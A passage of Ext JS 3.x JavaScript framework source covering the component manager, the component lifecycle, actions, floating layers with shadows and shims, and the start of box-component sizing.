d)\n            }\n        })\n    }, all:c, types:b, ptypes:a, isRegistered:function (d) {\n        return b[d] !== undefined\n    }, isPluginRegistered:function (d) {\n        return a[d] !== undefined\n    }, registerType:function (e, d) {\n        b[e] = d;\n        d.xtype = e\n    }, create:function (d, e) {\n        return d.render ? d : new b[d.xtype || e](d)\n    }, registerPlugin:function (e, d) {\n        a[e] = d;\n        d.ptype = e\n    }, createPlugin:function (e, g) {\n        var d = a[e.ptype || g];\n        if (d.init) {\n            return d\n        } else {\n            return new d(e)\n        }\n    }}\n}();\nExt.reg = Ext.ComponentMgr.registerType;\nExt.preg = Ext.ComponentMgr.registerPlugin;\nExt.create = Ext.ComponentMgr.create;\nExt.Component = function (b) {\n    b = b || {};\n    if (b.initialConfig) {\n        if (b.isAction) {\n            this.baseAction = b\n        }\n        b = b.initialConfig\n    } else {\n        if (b.tagName || b.dom || Ext.isString(b)) {\n            b = {applyTo:b, id:b.id || b}\n        }\n    }\n    this.initialConfig = b;\n    Ext.apply(this, b);\n    this.addEvents(\"added\", \"disable\", \"enable\", \"beforeshow\", \"show\", \"beforehide\", \"hide\", \"removed\", \"beforerender\", \"render\", \"afterrender\", \"beforedestroy\", \"destroy\", \"beforestaterestore\", \"staterestore\", \"beforestatesave\", \"statesave\");\n    this.getId();\n    Ext.ComponentMgr.register(this);\n    Ext.Component.superclass.constructor.call(this);\n    if (this.baseAction) {\n        this.baseAction.addComponent(this)\n    }\n    this.initComponent();\n    if (this.plugins) {\n        if (Ext.isArray(this.plugins)) {\n            for (var c = 0, a = this.plugins.length; c < a; c++) {\n                this.plugins[c] = this.initPlugin(this.plugins[c])\n            }\n        } else {\n            this.plugins = this.initPlugin(this.plugins)\n        }\n    }\n    if (this.stateful !== false) {\n        this.initState()\n    }\n    if (this.applyTo) {\n        this.applyToMarkup(this.applyTo);\n        delete this.applyTo\n    } else {\n        if (this.renderTo) {\n            this.render(this.renderTo);\n            delete this.renderTo\n        }\n    }\n};\nExt.Component.AUTO_ID = 1000;\nExt.extend(Ext.Component, Ext.util.Observable, {disabled:false, hidden:false, autoEl:\"div\", disabledClass:\"x-item-disabled\", allowDomMove:true, autoShow:false, hideMode:\"display\", hideParent:false, rendered:false, tplWriteMode:\"overwrite\", bubbleEvents:[], ctype:\"Ext.Component\", actionMode:\"el\", getActionEl:function () {\n    return this[this.actionMode]\n}, initPlugin:function (a) {\n    if (a.ptype && !Ext.isFunction(a.init)) {\n        a = Ext.ComponentMgr.createPlugin(a)\n    } else {\n        if (Ext.isString(a)) {\n            a = Ext.ComponentMgr.createPlugin({ptype:a})\n        }\n    }\n    a.init(this);\n    return a\n}, initComponent:function () {\n    if (this.listeners) {\n        this.on(this.listeners);\n        delete this.listeners\n    }\n    this.enableBubble(this.bubbleEvents)\n}, render:function (b, a) {\n    if (!this.rendered && this.fireEvent(\"beforerender\", this) !== false) {\n        if (!b && this.el) {\n            this.el = Ext.get(this.el);\n            b = this.el.dom.parentNode;\n            this.allowDomMove = false\n        }\n        this.container = Ext.get(b);\n        if (this.ctCls) {\n            this.container.addClass(this.ctCls)\n        }\n        this.rendered = true;\n        if (a !== undefined) {\n            if (Ext.isNumber(a)) {\n                a = this.container.dom.childNodes[a]\n            } else {\n                a = Ext.getDom(a)\n            }\n        }\n        this.onRender(this.container, a || null);\n        if (this.autoShow) {\n            this.el.removeClass([\"x-hidden\", \"x-hide-\" + this.hideMode])\n        }\n        if (this.cls) {\n            this.el.addClass(this.cls);\n            delete this.cls\n        }\n        if (this.style) {\n            this.el.applyStyles(this.style);\n            delete this.style\n        }\n        if (this.overCls) {\n            this.el.addClassOnOver(this.overCls)\n        }\n        this.fireEvent(\"render\", this);\n        var c = this.getContentTarget();\n        if (this.html) {\n            c.update(Ext.DomHelper.markup(this.html));\n            delete this.html\n        }\n        if (this.contentEl) {\n            var d = Ext.getDom(this.contentEl);\n            Ext.fly(d).removeClass([\"x-hidden\", \"x-hide-display\"]);\n            c.appendChild(d)\n        }\n        if (this.tpl) {\n            if (!this.tpl.compile) {\n                this.tpl = new Ext.XTemplate(this.tpl)\n            }\n            if (this.data) {\n                this.tpl[this.tplWriteMode](c, this.data);\n                delete this.data\n            }\n        }\n        this.afterRender(this.container);\n        if (this.hidden) {\n            this.doHide()\n        }\n        if (this.disabled) {\n            this.disable(true)\n        }\n        if (this.stateful !== false) {\n            this.initStateEvents()\n        }\n        this.fireEvent(\"afterrender\", this)\n    }\n    return this\n}, update:function (b, d, a) {\n    var c = this.getContentTarget();\n    if (this.tpl && typeof b !== \"string\") {\n        this.tpl[this.tplWriteMode](c, b || {})\n    } else {\n        var e = Ext.isObject(b) ? Ext.DomHelper.markup(b) : b;\n        c.update(e, d, a)\n    }\n}, onAdded:function (a, b) {\n    this.ownerCt = a;\n    this.initRef();\n    this.fireEvent(\"added\", this, a, b)\n}, onRemoved:function () {\n    this.removeRef();\n    this.fireEvent(\"removed\", this, this.ownerCt);\n    delete this.ownerCt\n}, initRef:function () {\n    if (this.ref && !this.refOwner) {\n        var d = this.ref.split(\"/\"), c = d.length, b = 0, a = this;\n        while (a && b < c) {\n            a = a.ownerCt;\n            ++b\n        }\n        if (a) {\n            a[this.refName = d[--b]] = this;\n            this.refOwner = a\n        }\n    }\n}, removeRef:function () {\n    if (this.refOwner && this.refName) {\n        delete this.refOwner[this.refName];\n        delete this.refOwner\n    }\n}, initState:function () {\n    if (Ext.state.Manager) {\n        var b = this.getStateId();\n        if (b) {\n            var a = Ext.state.Manager.get(b);\n            if (a) {\n                if (this.fireEvent(\"beforestaterestore\", this, a) !== false) {\n                    this.applyState(Ext.apply({}, a));\n                    this.fireEvent(\"staterestore\", this, a)\n                }\n            }\n        }\n    }\n}, getStateId:function () {\n    return this.stateId || ((/^(ext-comp-|ext-gen)/).test(String(this.id)) ? null : this.id)\n}, initStateEvents:function () {\n    if (this.stateEvents) {\n        for (var a = 0, b; b = this.stateEvents[a]; a++) {\n            this.on(b, this.saveState, this, {delay:100})\n        }\n    }\n}, applyState:function (a) {\n    if (a) {\n        Ext.apply(this, a)\n    }\n}, getState:function () {\n    return null\n}, saveState:function () {\n    if (Ext.state.Manager && this.stateful !== false) {\n        var b = this.getStateId();\n        if (b) {\n            var a = this.getState();\n            if (this.fireEvent(\"beforestatesave\", this, a) !== false) {\n                Ext.state.Manager.set(b, a);\n                this.fireEvent(\"statesave\", this, a)\n            }\n        }\n    }\n}, applyToMarkup:function (a) {\n    this.allowDomMove = false;\n    this.el = Ext.get(a);\n    this.render(this.el.dom.parentNode)\n}, addClass:function (a) {\n    if (this.el) {\n        this.el.addClass(a)\n    } else {\n        this.cls = this.cls ? this.cls + \" \" + a : a\n    }\n    return this\n}, removeClass:function (a) {\n    if (this.el) {\n        this.el.removeClass(a)\n    } else {\n        if (this.cls) {\n            this.cls = this.cls.split(\" \").remove(a).join(\" \")\n        }\n    }\n    return this\n}, onRender:function (b, a) {\n    if (!this.el && this.autoEl) {\n        if (Ext.isString(this.autoEl)) {\n            this.el = document.createElement(this.autoEl)\n        } else {\n            var c = document.createElement(\"div\");\n            Ext.DomHelper.overwrite(c, this.autoEl);\n            this.el = c.firstChild\n        }\n        if (!this.el.id) {\n            this.el.id = this.getId()\n        }\n    }\n    if (this.el) {\n        this.el = Ext.get(this.el);\n        if (this.allowDomMove !== false) {\n            b.dom.insertBefore(this.el.dom, a);\n            if (c) {\n                Ext.removeNode(c);\n                c = null\n            }\n        }\n    }\n}, getAutoCreate:function () {\n    var a = Ext.isObject(this.autoCreate) ? this.autoCreate : Ext.apply({}, this.defaultAutoCreate);\n    if (this.id && !a.id) {\n        a.id = this.id\n    }\n    return a\n}, afterRender:Ext.emptyFn, destroy:function () {\n    if (!this.isDestroyed) {\n        if (this.fireEvent(\"beforedestroy\", this) !== false) {\n            this.destroying = true;\n            this.beforeDestroy();\n            if (this.ownerCt && this.ownerCt.remove) {\n                this.ownerCt.remove(this, false)\n            }\n            if (this.rendered) {\n                this.el.remove();\n                if (this.actionMode == \"container\" || this.removeMode == \"container\") {\n                    this.container.remove()\n                }\n            }\n            if (this.focusTask && this.focusTask.cancel) {\n                this.focusTask.cancel()\n            }\n            this.onDestroy();\n            Ext.ComponentMgr.unregister(this);\n            this.fireEvent(\"destroy\", this);\n            this.purgeListeners();\n            this.destroying = false;\n            this.isDestroyed = true\n        }\n    }\n}, deleteMembers:function () {\n    var b = arguments;\n    for (var c = 0, a = b.length; c < a; ++c) {\n        delete this[b[c]]\n    }\n}, beforeDestroy:Ext.emptyFn, onDestroy:Ext.emptyFn, getEl:function () {\n    return this.el\n}, getContentTarget:function () {\n    return this.el\n}, getId:function () {\n    return this.id || (this.id = \"ext-comp-\" + (++Ext.Component.AUTO_ID))\n}, getItemId:function () {\n    return this.itemId || this.getId()\n}, focus:function (b, a) {\n    if (a) {\n        this.focusTask = new Ext.util.DelayedTask(this.focus, this, [b, false]);\n        this.focusTask.delay(Ext.isNumber(a) ? a : 10);\n        return this\n    }\n    if (this.rendered && !this.isDestroyed) {\n        this.el.focus();\n        if (b === true) {\n            this.el.dom.select()\n        }\n    }\n    return this\n}, blur:function () {\n    if (this.rendered) {\n        this.el.blur()\n    }\n    return this\n}, disable:function (a) {\n    if (this.rendered) {\n        this.onDisable()\n    }\n    this.disabled = true;\n    if (a !== true) {\n        this.fireEvent(\"disable\", this)\n    }\n    return this\n}, onDisable:function () {\n    this.getActionEl().addClass(this.disabledClass);\n    this.el.dom.disabled = true\n}, enable:function () {\n    if (this.rendered) {\n        this.onEnable()\n    }\n    this.disabled = false;\n    this.fireEvent(\"enable\", this);\n    return this\n}, onEnable:function () {\n    this.getActionEl().removeClass(this.disabledClass);\n    this.el.dom.disabled = false\n}, setDisabled:function (a) {\n    return this[a ? \"disable\" : \"enable\"]()\n}, show:function () {\n    if (this.fireEvent(\"beforeshow\", this) !== false) {\n        this.hidden = false;\n        if (this.autoRender) {\n            this.render(Ext.isBoolean(this.autoRender) ? Ext.getBody() : this.autoRender)\n        }\n        if (this.rendered) {\n            this.onShow()\n        }\n        this.fireEvent(\"show\", this)\n    }\n    return this\n}, onShow:function () {\n    this.getVisibilityEl().removeClass(\"x-hide-\" + this.hideMode)\n}, hide:function () {\n    if (this.fireEvent(\"beforehide\", this) !== false) {\n        this.doHide();\n        this.fireEvent(\"hide\", this)\n    }\n    return this\n}, doHide:function () {\n    this.hidden = true;\n    if (this.rendered) {\n        this.onHide()\n    }\n}, onHide:function () {\n    this.getVisibilityEl().addClass(\"x-hide-\" + this.hideMode)\n}, getVisibilityEl:function () {\n    return this.hideParent ? this.container : this.getActionEl()\n}, setVisible:function (a) {\n    return this[a ? \"show\" : \"hide\"]()\n}, isVisible:function () {\n    return this.rendered && this.getVisibilityEl().isVisible()\n}, cloneConfig:function (b) {\n    b = b || {};\n    var c = b.id || Ext.id();\n    var a = Ext.applyIf(b, this.initialConfig);\n    a.id = c;\n    return new this.constructor(a)\n}, getXType:function () {\n    return this.constructor.xtype\n}, isXType:function (b, a) {\n    if (Ext.isFunction(b)) {\n        b = b.xtype\n    } else {\n        if (Ext.isObject(b)) {\n            b = b.constructor.xtype\n        }\n    }\n    return !a ? (\"/\" + this.getXTypes() + \"/\").indexOf(\"/\" + b + \"/\") != -1 : this.constructor.xtype == b\n}, getXTypes:function () {\n    var a = this.constructor;\n    if (!a.xtypes) {\n        var d = [], b = this;\n        while (b && b.constructor.xtype) {\n            d.unshift(b.constructor.xtype);\n            b = b.constructor.superclass\n        }\n        a.xtypeChain = d;\n        a.xtypes = d.join(\"/\")\n    }\n    return a.xtypes\n}, findParentBy:function (a) {\n    for (var b = this.ownerCt; (b != null) && !a(b, this); b = b.ownerCt) {\n    }\n    return b || null\n}, findParentByType:function (b, a) {\n    return this.findParentBy(function (d) {\n        return d.isXType(b, a)\n    })\n}, bubble:function (c, b, a) {\n    var d = this;\n    while (d) {\n        if (c.apply(b || d, a || [d]) === false) {\n            break\n        }\n        d = d.ownerCt\n    }\n    return this\n}, getPositionEl:function () {\n    return this.positionEl || this.el\n}, purgeListeners:function () {\n    Ext.Component.superclass.purgeListeners.call(this);\n    if (this.mons) {\n        this.on(\"beforedestroy\", this.clearMons, this, {single:true})\n    }\n}, clearMons:function () {\n    Ext.each(this.mons, function (a) {\n        a.item.un(a.ename, a.fn, a.scope)\n    }, this);\n    this.mons = []\n}, createMons:function () {\n    if (!this.mons) {\n        this.mons = [];\n        this.on(\"beforedestroy\", this.clearMons, this, {single:true})\n    }\n}, mon:function (g, b, d, c, a) {\n    this.createMons();\n    if (Ext.isObject(b)) {\n        var j = /^(?:scope|delay|buffer|single|stopEvent|preventDefault|stopPropagation|normalized|args|delegate)$/;\n        var i = b;\n        for (var h in i) {\n            if (j.test(h)) {\n                continue\n            }\n            if (Ext.isFunction(i[h])) {\n                this.mons.push({item:g, ename:h, fn:i[h], scope:i.scope});\n                g.on(h, i[h], i.scope, i)\n            } else {\n                this.mons.push({item:g, ename:h, fn:i[h], scope:i.scope});\n                g.on(h, i[h])\n            }\n        }\n        return\n    }\n    this.mons.push({item:g, ename:b, fn:d, scope:c});\n    g.on(b, d, c, a)\n}, mun:function (h, c, g, e) {\n    var j, d;\n    this.createMons();\n    for (var b = 0, a = this.mons.length; b < a; ++b) {\n        d = this.mons[b];\n        if (h === d.item && c == d.ename && g === d.fn && e === d.scope) {\n            this.mons.splice(b, 1);\n            h.un(c, g, e);\n            j = true;\n            break\n        }\n    }\n    return j\n}, nextSibling:function () {\n    if (this.ownerCt) {\n        var a = this.ownerCt.items.indexOf(this);\n        if (a != -1 && a + 1 < this.ownerCt.items.getCount()) {\n            return this.ownerCt.items.itemAt(a + 1)\n        }\n    }\n    return null\n}, previousSibling:function () {\n    if (this.ownerCt) {\n        var a = this.ownerCt.items.indexOf(this);\n        if (a > 0) {\n            return this.ownerCt.items.itemAt(a - 1)\n        }\n    }\n    return null\n}, getBubbleTarget:function () {\n    return this.ownerCt\n}});\nExt.reg(\"component\", Ext.Component);\nExt.Action = Ext.extend(Object, {constructor:function (a) {\n    this.initialConfig = a;\n    this.itemId = a.itemId = (a.itemId || a.id || Ext.id());\n    this.items = []\n}, isAction:true, setText:function (a) {\n    this.initialConfig.text = a;\n    this.callEach(\"setText\", [a])\n}, getText:function () {\n    return this.initialConfig.text\n}, setIconClass:function (a) {\n    this.initialConfig.iconCls = a;\n    this.callEach(\"setIconClass\", [a])\n}, getIconClass:function () {\n    return this.initialConfig.iconCls\n}, setDisabled:function (a) {\n    this.initialConfig.disabled = a;\n    this.callEach(\"setDisabled\", [a])\n}, enable:function () {\n    this.setDisabled(false)\n}, disable:function () {\n    this.setDisabled(true)\n}, isDisabled:function () {\n    return this.initialConfig.disabled\n}, setHidden:function (a) {\n    this.initialConfig.hidden = a;\n    this.callEach(\"setVisible\", [!a])\n}, show:function () {\n    this.setHidden(false)\n}, hide:function () {\n    this.setHidden(true)\n}, isHidden:function () {\n    return this.initialConfig.hidden\n}, setHandler:function (b, a) {\n    this.initialConfig.handler = b;\n    this.initialConfig.scope = a;\n    this.callEach(\"setHandler\", [b, a])\n}, each:function (b, a) {\n    Ext.each(this.items, b, a)\n}, callEach:function (e, b) {\n    var d = this.items;\n    for (var c = 0, a = d.length; c < a; c++) {\n        d[c][e].apply(d[c], b)\n    }\n}, addComponent:function (a) {\n    this.items.push(a);\n    a.on(\"destroy\", this.removeComponent, this)\n}, removeComponent:function (a) {\n    this.items.remove(a)\n}, execute:function () {\n    this.initialConfig.handler.apply(this.initialConfig.scope || window, arguments)\n}});\n(function () {\n    Ext.Layer = function (d, c) {\n        d = d || {};\n        var e = Ext.DomHelper, h = d.parentEl, g = h ? Ext.getDom(h) : document.body;\n        if (c) {\n            this.dom = Ext.getDom(c)\n        }\n        if (!this.dom) {\n            var i = d.dh || {tag:\"div\", cls:\"x-layer\"};\n            this.dom = e.append(g, i)\n        }\n        if (d.cls) {\n            this.addClass(d.cls)\n        }\n        this.constrain = d.constrain !== false;\n        this.setVisibilityMode(Ext.Element.VISIBILITY);\n        if (d.id) {\n            this.id = this.dom.id = d.id\n        } else {\n            this.id = Ext.id(this.dom)\n        }\n        this.zindex = d.zindex || this.getZIndex();\n        this.position(\"absolute\", this.zindex);\n        if (d.shadow) {\n            this.shadowOffset = d.shadowOffset || 4;\n            this.shadow = new Ext.Shadow({offset:this.shadowOffset, mode:d.shadow})\n        } else {\n            this.shadowOffset = 0\n        }\n        this.useShim = d.shim !== false && Ext.useShims;\n        this.useDisplay = d.useDisplay;\n        this.hide()\n    };\n    var a = Ext.Element.prototype;\n    var b = [];\n    Ext.extend(Ext.Layer, Ext.Element, {getZIndex:function () {\n        return this.zindex || parseInt((this.getShim() || this).getStyle(\"z-index\"), 10) || 11000\n    }, getShim:function () {\n        if (!this.useShim) {\n            return null\n        }\n        if (this.shim) {\n            return this.shim\n        }\n        var d = b.shift();\n        if (!d) {\n            d = this.createShim();\n            d.enableDisplayMode(\"block\");\n            d.dom.style.display = \"none\";\n            d.dom.style.visibility = \"visible\"\n        }\n        var c = this.dom.parentNode;\n        if (d.dom.parentNode != c) {\n            c.insertBefore(d.dom, this.dom)\n        }\n        d.setStyle(\"z-index\", this.getZIndex() - 2);\n        this.shim = d;\n        return d\n    }, hideShim:function () {\n        if (this.shim) {\n            this.shim.setDisplayed(false);\n            b.push(this.shim);\n            delete this.shim\n        }\n    }, disableShadow:function () {\n        if (this.shadow) {\n            this.shadowDisabled = true;\n            this.shadow.hide();\n            this.lastShadowOffset = this.shadowOffset;\n            this.shadowOffset = 0\n        }\n    }, enableShadow:function (c) {\n        if (this.shadow) {\n            this.shadowDisabled = false;\n            if (Ext.isDefined(this.lastShadowOffset)) {\n                this.shadowOffset = this.lastShadowOffset;\n                delete this.lastShadowOffset\n            }\n            if (c) {\n                this.sync(true)\n            }\n        }\n    }, sync:function (d) {\n        var n = this.shadow;\n        if (!this.updating && this.isVisible() && (n || this.useShim)) {\n            var i = this.getShim(), m = this.getWidth(), j = this.getHeight(), e = this.getLeft(true), o = this.getTop(true);\n            if (n && !this.shadowDisabled) {\n                if (d && !n.isVisible()) {\n                    n.show(this)\n                } else {\n                    n.realign(e, o, m, j)\n                }\n                if (i) {\n                    if (d) {\n                        i.show()\n                    }\n                    var k = n.el.getXY(), g = i.dom.style, c = n.el.getSize();\n                    g.left = (k[0]) + \"px\";\n                    g.top = (k[1]) + \"px\";\n                    g.width = (c.width) + \"px\";\n                    g.height = (c.height) + \"px\"\n                }\n            } else {\n                if (i) {\n                    if (d) {\n                        i.show()\n                    }\n                    i.setSize(m, j);\n                    i.setLeftTop(e, o)\n                }\n            }\n        }\n    }, destroy:function () {\n        this.hideShim();\n        if (this.shadow) {\n            this.shadow.hide()\n        }\n        this.removeAllListeners();\n        Ext.removeNode(this.dom);\n        delete this.dom\n    }, remove:function () {\n        this.destroy()\n    }, beginUpdate:function () {\n        this.updating = true\n    }, endUpdate:function () {\n        this.updating = false;\n        this.sync(true)\n    }, hideUnders:function (c) {\n        if (this.shadow) {\n            this.shadow.hide()\n        }\n        this.hideShim()\n    }, constrainXY:function () {\n        if (this.constrain) {\n            var j = Ext.lib.Dom.getViewWidth(), d = Ext.lib.Dom.getViewHeight();\n            var o = Ext.getDoc().getScroll();\n            var n = this.getXY();\n            var k = n[0], i = n[1];\n            var c = this.shadowOffset;\n            var l = this.dom.offsetWidth + c, e = this.dom.offsetHeight + c;\n            var g = false;\n            if ((k + l) > j + o.left) {\n                k = j - l - c;\n                g = true\n            }\n            if ((i + e) > d + o.top) {\n                i = d - e - c;\n                g = true\n            }\n            if (k < o.left) {\n                k = o.left;\n                g = true\n            }\n            if (i < o.top) {\n                i = o.top;\n                g = true\n            }\n            if (g) {\n                if (this.avoidY) {\n                    var m = this.avoidY;\n                    if (i <= m && (i + e) >= m) {\n                        i = m - e - 5\n                    }\n                }\n                n = [k, i];\n                this.storeXY(n);\n                a.setXY.call(this, n);\n                this.sync()\n            }\n        }\n        return this\n    }, getConstrainOffset:function () {\n        return this.shadowOffset\n    }, isVisible:function () {\n        return this.visible\n    }, showAction:function () {\n        this.visible = true;\n        if (this.useDisplay === true) {\n            this.setDisplayed(\"\")\n        } else {\n            if (this.lastXY) {\n                a.setXY.call(this, this.lastXY)\n            } else {\n                if (this.lastLT) {\n                    a.setLeftTop.call(this, this.lastLT[0], this.lastLT[1])\n                }\n            }\n        }\n    }, hideAction:function () {\n        this.visible = false;\n        if (this.useDisplay === true) {\n            this.setDisplayed(false)\n        } else {\n            this.setLeftTop(-10000, -10000)\n        }\n    }, setVisible:function (i, h, k, l, j) {\n        if (i) {\n            this.showAction()\n        }\n        if (h && i) {\n            var g = function () {\n                this.sync(true);\n                if (l) {\n                    l()\n                }\n            }.createDelegate(this);\n            a.setVisible.call(this, true, true, k, g, j)\n        } else {\n            if (!i) {\n                this.hideUnders(true)\n            }\n            var g = l;\n            if (h) {\n                g = function () {\n                    this.hideAction();\n                    if (l) {\n                        l()\n                    }\n                }.createDelegate(this)\n            }\n            a.setVisible.call(this, i, h, k, g, j);\n            if (i) {\n                this.sync(true)\n            } else {\n                if (!h) {\n                    this.hideAction()\n                }\n            }\n        }\n        return this\n    }, storeXY:function (c) {\n        delete this.lastLT;\n        this.lastXY = c\n    }, storeLeftTop:function (d, c) {\n        delete this.lastXY;\n        this.lastLT = [d, c]\n    }, beforeFx:function () {\n        this.beforeAction();\n        return Ext.Layer.superclass.beforeFx.apply(this, arguments)\n    }, afterFx:function () {\n        Ext.Layer.superclass.afterFx.apply(this, arguments);\n        this.sync(this.isVisible())\n    }, beforeAction:function () {\n        if (!this.updating && this.shadow) {\n            this.shadow.hide()\n        }\n    }, setLeft:function (c) {\n        this.storeLeftTop(c, this.getTop(true));\n        a.setLeft.apply(this, arguments);\n        this.sync();\n        return this\n    }, setTop:function (c) {\n        this.storeLeftTop(this.getLeft(true), c);\n        a.setTop.apply(this, arguments);\n        this.sync();\n        return this\n    }, setLeftTop:function (d, c) {\n        this.storeLeftTop(d, c);\n        a.setLeftTop.apply(this, arguments);\n        this.sync();\n        return this\n    }, setXY:function (j, h, k, l, i) {\n        this.fixDisplay();\n        this.beforeAction();\n        this.storeXY(j);\n        var g = this.createCB(l);\n        a.setXY.call(this, j, h, k, g, i);\n        if (!h) {\n            g()\n        }\n        return this\n    }, createCB:function (e) {\n        var d = this;\n        return function () {\n            d.constrainXY();\n            d.sync(true);\n            if (e) {\n                e()\n            }\n        }\n    }, setX:function (g, h, j, k, i) {\n        this.setXY([g, this.getY()], h, j, k, i);\n        return this\n    }, setY:function (k, g, i, j, h) {\n        this.setXY([this.getX(), k], g, i, j, h);\n        return this\n    }, setSize:function (j, k, i, m, n, l) {\n        this.beforeAction();\n        var g = this.createCB(n);\n        a.setSize.call(this, j, k, i, m, g, l);\n        if (!i) {\n            g()\n        }\n        return this\n    }, setWidth:function (i, h, k, l, j) {\n        this.beforeAction();\n        var g = this.createCB(l);\n        a.setWidth.call(this, i, h, k, g, j);\n        if (!h) {\n            g()\n        }\n        return this\n    }, setHeight:function (j, i, l, m, k) {\n        this.beforeAction();\n        var g = this.createCB(m);\n        a.setHeight.call(this, j, i, l, g, k);\n        if (!i) {\n            g()\n        }\n        return this\n    }, setBounds:function (o, m, p, i, n, k, l, j) {\n        this.beforeAction();\n        var g = this.createCB(l);\n        if (!n) {\n            this.storeXY([o, m]);\n            a.setXY.call(this, [o, m]);\n            a.setSize.call(this, p, i, n, k, g, j);\n            g()\n        } else {\n            a.setBounds.call(this, o, m, p, i, n, k, g, j)\n        }\n        return this\n    }, setZIndex:function (c) {\n        this.zindex = c;\n        this.setStyle(\"z-index\", c + 2);\n        if (this.shadow) {\n            this.shadow.setZIndex(c + 1)\n        }\n        if (this.shim) {\n            this.shim.setStyle(\"z-index\", c)\n        }\n        return this\n    }})\n})();\nExt.Shadow = function (d) {\n    Ext.apply(this, d);\n    if (typeof this.mode != \"string\") {\n        this.mode = this.defaultMode\n    }\n    var e = this.offset, c = {h:0}, b = Math.floor(this.offset / 2);\n    switch (this.mode.toLowerCase()) {\n        case\"drop\":\n            c.w = 0;\n            c.l = c.t = e;\n            c.t -= 1;\n            if (Ext.isIE) {\n                c.l -= this.offset + b;\n                c.t -= this.offset + b;\n                c.w -= b;\n                c.h -= b;\n                c.t += 1\n            }\n            break;\n        case\"sides\":\n            c.w = (e * 2);\n            c.l = -e;\n            c.t = e - 1;\n            if (Ext.isIE) {\n                c.l -= (this.offset - b);\n                c.t -= this.offset + b;\n                c.l += 1;\n                c.w -= (this.offset - b) * 2;\n                c.w -= b + 1;\n                c.h -= 1\n            }\n            break;\n        case\"frame\":\n            c.w = c.h = (e * 2);\n            c.l = c.t = -e;\n            c.t += 1;\n            c.h -= 2;\n            if (Ext.isIE) {\n                c.l -= (this.offset - b);\n                c.t -= (this.offset - b);\n                c.l += 1;\n                c.w -= (this.offset + b + 1);\n                c.h -= (this.offset + b);\n                c.h += 1\n            }\n            break\n    }\n    this.adjusts = c\n};\nExt.Shadow.prototype = {offset:4, defaultMode:\"drop\", show:function (a) {\n    a = Ext.get(a);\n    if (!this.el) {\n        this.el = Ext.Shadow.Pool.pull();\n        if (this.el.dom.nextSibling != a.dom) {\n            this.el.insertBefore(a)\n        }\n    }\n    this.el.setStyle(\"z-index\", this.zIndex || parseInt(a.getStyle(\"z-index\"), 10) - 1);\n    if (Ext.isIE) {\n        this.el.dom.style.filter = \"progid:DXImageTransform.Microsoft.alpha(opacity=50) progid:DXImageTransform.Microsoft.Blur(pixelradius=\" + (this.offset) + \")\"\n    }\n    this.realign(a.getLeft(true), a.getTop(true), a.getWidth(), a.getHeight());\n    this.el.dom.style.display = \"block\"\n}, isVisible:function () {\n    return this.el ? true : false\n}, realign:function (b, r, q, g) {\n    if (!this.el) {\n        return\n    }\n    var n = this.adjusts, k = this.el.dom, u = k.style, i = 0, p = (q + n.w), e = (g + n.h), j = p + \"px\", o = e + \"px\", m, c;\n    u.left = (b + n.l) + \"px\";\n    u.top = (r + n.t) + \"px\";\n    if (u.width != j || u.height != o) {\n        u.width = j;\n        u.height = o;\n        if (!Ext.isIE) {\n            m = k.childNodes;\n            c = Math.max(0, (p - 12)) + \"px\";\n            m[0].childNodes[1].style.width = c;\n            m[1].childNodes[1].style.width = c;\n            m[2].childNodes[1].style.width = c;\n            m[1].style.height = Math.max(0, (e - 12)) + \"px\"\n        }\n    }\n}, hide:function () {\n    if (this.el) {\n        this.el.dom.style.display = \"none\";\n        Ext.Shadow.Pool.push(this.el);\n        delete this.el\n    }\n}, setZIndex:function (a) {\n    this.zIndex = a;\n    if (this.el) {\n        this.el.setStyle(\"z-index\", a)\n    }\n}};\nExt.Shadow.Pool = function () {\n    var b = [], a = Ext.isIE ? '<div class=\"x-ie-shadow\"></div>' : '<div class=\"x-shadow\"><div class=\"xst\"><div class=\"xstl\"></div><div class=\"xstc\"></div><div class=\"xstr\"></div></div><div class=\"xsc\"><div class=\"xsml\"></div><div class=\"xsmc\"></div><div class=\"xsmr\"></div></div><div class=\"xsb\"><div class=\"xsbl\"></div><div class=\"xsbc\"></div><div class=\"xsbr\"></div></div></div>';\n    return{pull:function () {\n        var c = b.shift();\n        if (!c) {\n            c = Ext.get(Ext.DomHelper.insertHtml(\"beforeBegin\", document.body.firstChild, a));\n            c.autoBoxAdjust = false\n        }\n        return c\n    }, push:function (c) {\n        b.push(c)\n    }}\n}();\nExt.BoxComponent = Ext.extend(Ext.Component, {initComponent:function () {\n    Ext.BoxComponent.superclass.initComponent.call(this);\n    this.addEvents(\"resize\", \"move\")\n}, boxReady:false, deferHeight:false, setSize:function (b, d) {\n    if (typeof b == \"object\") {\n        d = b.height;\n        b = b.width\n    }\n    if (Ext.isDefined(b) && Ext.isDefined(this.boxMinWidth) && (b < this.boxMinWidth)) {\n        b = this.boxMinWidth\n    }\n    if (Ext.isDefined(d) && Ext.isDefined(this.boxMinHeight) && (d < this.boxMinHeight)) {\n        d = this.boxMinHeight\n    }\n    if (Ext.isDefined(b) && Ext.isDefined(this.boxMaxWidth) && (b > this.boxMaxWidth)) {\n        b = this.boxMaxWidth\n    }\n    if (Ext.isDefined(d) && Ext.isDefined(this.boxMaxHeight) && (d > this.boxMaxHeight)) {\n        d = this.boxMaxHeight\n    }\n    if (!this.boxReady) {\n        this.width = b;\n        this.height = d;\n        return this\n    }\n    if (this.cacheSizes !== false && this.lastSize && this.lastSize.width == b && this.lastSize.height == d) {\n        return this\n    }\n    this.lastSize = {width:b, height:d};\n    var c = this.adjustSize(b, d), g = c.width, a = c.height, e;\n    if (g !== undefined || a !== undefined) {\n        e = this.getResizeEl();\n        if (!this.deferHeight && g !== undefined && a !== undefined) {\n            e.setSize(g, a)\n        } else {\n            if (!this.deferHeight && a !== undefined) {\n                e.setHeight(a)\n            } else {\n                if (g !== undefined) {\n                    e.setWidth(g)\n                }\n            }\n        }\n        this.onResize(g, a, b, d);\n        this.fireEvent(\"resize\", this, g, a, b, d)\n    }\n    return this\n}, setWidth:function (a) {\n    return this.setSize(a)\n}, setHeight:function (a) {\n    return this.setSize(undefined, a)\n}, getSize:function () {\n    return this.getResizeEl().getSize()\n}, getWidth:function () {\n    return this.getResizeEl().getWidth()\n}, getHeight:function () {\n    return this.getResizeEl().getHeight()\n}, getOuterSize:function () {\n    var a = this.getResizeEl();\n    return{width:a.getWidth() + a.getMargins(\"lr\"), height:a.getHeight() + a.getMargins(\"tb\")}\n}, getPosition:function (a) {\n    var b = this.getPositionEl();\n    if (a === true) {\n        return[b.getLeft(true), b.getTop(true)]\n    }\n    return this.xy || b.getXY()\n}, getBox:function (a) {\n    var c = this.getPosition(a);\n    var b = this.getSize();\n    b.x = c[0];\n    b.y = 